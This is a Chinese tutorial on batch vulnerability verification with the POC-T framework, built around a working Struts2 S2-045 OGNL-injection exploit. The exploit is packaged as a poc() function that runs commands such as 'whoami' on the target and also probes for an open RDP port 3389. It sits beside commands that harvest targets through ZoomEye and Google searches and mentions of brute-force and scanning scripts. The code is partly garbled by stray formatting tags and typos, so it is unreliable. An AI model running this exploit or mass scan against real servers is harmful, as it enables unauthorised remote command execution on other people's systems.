漏洞应急响应之批量poc验证
0x01前言
数据:数据怎么来?
处理:逻辑是什么?
并发:如何实现?
1
2
3
|
git clone [ url ]https : / / github.com / Xyntax / POC - T[ / url ]
pip install - r requirement.txt
python POC - T.py
|
1
2
3
4
|
Python POC - T.py –s poc –aZ “port : 22 ” –limit 100
Python POC - T.py –s poc –aG “ url : index .php” –limit 100 –gproxy “socket 5 127.0 . 0.1 1080 ”
Python POC - T.py –s poc –iS http : / / host / / login.php? id = 1
Python POC - T.py –s poc –iF / root / pentest / vul.txt
|
这也是本文重点关注的,为什么说POC-T很轻便呢,我认为就体现在poc脚本编写上,所有的验证只需要一个poc()函数就可以,成功就返回True或者自定义信息,失败就返回False,除此之外没有任何限制。没有实例,一切文章都是纸老虎。下面我们就以前段时间火爆的struts2-s045漏洞为例,详细说下poc的编写,在script目录下有个test.py就是poc脚本的一个demo,就在这个基础上编写我们的poc。
网上爆出的验证代码为
01
02
03
04
05
06
07
08
09
10
|
def poc(url):
register_openers() datagen, header = multipart_encode({ "image1" : open ( "tmp.txt" , "rb" )})
header[ "User-Agent" ] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header[ "Content-Type" ] = "%{(#nike=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'echo nMask\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(url,datagen,headers = header)
response = urllib2.urlopen(request)
body = response.read()
return body
|
这段代码,大概意思就是执行了“echo nMask”,也就是说返回的body中如果有字符串nMask就意味着漏洞存在,否则不存在。那么我们的poc代码就可以这么写
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
|
import urllib2[ / size][ / font]
[align = left][font = 宋体][size = 3 ] from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc(url):
register_openers() datagen, header = multipart_encode({ "image1" : open ( "tmp.txt" , "rb" )})
header[ "User-Agent" ] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header[ "Content-Type" ] = "%{(#nike=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'echo nMask || whoami\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
try :
request = urllib2.Request(url,datagen,headers = header)
response = urllib2.urlopen(request,timeout = 5 )
body = response.readlines()[ 0 : 2 ]
except :
return False
if "nMask" in body:
return Ture
else :
return False
|
建议在脚本中处理Exception,如果线程运行中发现Exception,将使框架终止全部任务并打印错误信息。由于网络请求中经常出现连接中断等错误,一种简单的做法是:
1
2
3
4
5
|
def poc(input_str)
try :
...全部脚本逻辑...
except :
return False
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
import urllib2
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from plugin.util import host2IP
from plugin.util import checkPortTcp
def poc(url):
register_openers()
datagen, header = multipart_encode({ "image1" : open ( "tmp.txt" , "rb" )})
header[ "User-Agent" ] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header[ "Content-Type" ] = "%{(#nike=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'echo nMask || whoami\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
try :
request = urllib2.Request(url,datagen,headers = header)
response = urllib2.urlopen(request,timeout = 5 )
body = response.read()
except :
body = ""
ip = host2IP(url) #将url转化为IP
port = checkPortTcp(ip, 3389 ) #检测3389是否开放
if "nMask" in body:
assert isinstance (port, object )
return url + "---" + "3389:" + str (port)
else :
return False
|
0x04 其他功能
如果我们搞明白了批量需要解决的那三个关键问题,就会发现这个框架不仅可以用作poc批量验证,还可以用作它途,只要原理一样就可以。比如爆破、爬虫、采集等。作者也给出了相应实例
爆破:/script/ brute-example.py
爬虫&采集:/script/ spider-example.py
旁站扫描:/script/ bingc.py
0x05 结语
看完本文,以后再有漏洞时,还用到处问“哪里有批量工具吗?”,自己动手,丰衣足食。但正因为POC-T的轻便、灵活,更需要我们的编码能力,因为所有的逻辑验证及输出都需要通过自己编码实现而没有现成的格式规范。
其他优秀的poc批量验证工具:
Pocsuite: https://github.com/knownsec/Pocsuite
Pentestdb: https://github.com/alpha1e0/pentestdb
s0m3poc: https://github.com/s0m30ne/s0m3poc